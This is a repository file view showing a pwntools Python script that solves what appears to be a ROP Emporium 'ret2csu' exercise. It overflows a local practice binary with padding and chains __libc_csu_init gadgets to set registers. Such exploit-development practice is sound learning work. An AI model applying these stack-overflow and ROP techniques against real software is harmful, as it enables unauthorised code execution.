11cbb37694
new file: x86_64/pivot/exploit2.py deleted: x86_64/pivot/stest deleted: x86_64/pivot/test new file: x86_64/pivot/todo new file: x86_64/ret2csu/exploit.py new file: x86_64/ret2csu/gadgets
28 lines
536 B
Python
Executable File
28 lines
536 B
Python
Executable File
#!/usr/bin/env python3
|
|
from pwn import *
|
|
|
|
prog = gdb.debug('./ret2csu', gdbscript='b *0x40069a')
|
|
payload = b''
|
|
for c in range(40):
|
|
payload += b'a'
|
|
|
|
|
|
payload += p64(0x40069a) # __libc_csu_init()
|
|
payload += p64(0)
|
|
payload += p64(0)
|
|
payload += p64(0x601020)
|
|
payload += p64(0xdeadbeefdeadbeef)
|
|
payload += p64(0xcafebabecafebabe)
|
|
payload += p64(0xd00df00dd00df00d)
|
|
|
|
payload += p64(0x400680)
|
|
|
|
|
|
#payload += p64(0x00000000004006a3)
|
|
#payload += p64(0xdeadbeefdeadbeef)
|
|
|
|
payload += b"\n"
|
|
|
|
prog.sendline(payload)
|
|
prog.interactive()
|